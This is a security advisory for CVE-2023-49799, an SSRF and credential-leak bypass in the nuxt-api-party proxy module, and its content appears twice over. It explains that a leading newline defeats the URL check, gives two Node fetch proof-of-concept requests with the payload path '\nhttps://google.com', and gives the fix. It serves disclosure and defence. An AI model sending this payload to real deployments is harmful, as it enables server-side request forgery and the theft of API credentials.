CVE-2023-49799

nuxt-api-party is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression ^https?://, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to https://whatever.com bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.

nuxt-api-party is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression ^https?://, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to https://whatever.com bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.

This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.

Details

nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.

This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.

According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)

This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.

This could allow us to leak credentials or perform SSRF.

PoC

POC using Node.

await fetch("/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.

await fetch("/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

Impact

Leak of sensitive API credentials. SSRF.

Fix

Revert to the previous method of detecting absolute URLs.

  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
      // ...
  }

nuxt-api-party is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression ^https?://, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to https://whatever.com bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.

nuxt-api-party is an open source module to proxy API requests. nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use the regular expression ^https?://, however this regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com which has a leading newline. According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue.". This means the final request will be normalized to https://whatever.com bypassing the check and nuxt-api-party will send a request outside of the whitelist. This could allow us to leak credentials or perform Server-Side Request Forgery (SSRF). This vulnerability has been addressed in version 0.22.1. Users are advised to upgrade. Users unable to upgrade should revert to the previous method of detecting absolute URLs.

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.

This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.

Details

nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.

This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.

According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)

This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.

This could allow us to leak credentials or perform SSRF.

PoC

POC using Node.

await fetch("/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.

await fetch("/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

Impact

Leak of sensitive API credentials. SSRF.

Fix

Revert to the previous method of detecting absolute URLs.

  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
      // ...
  }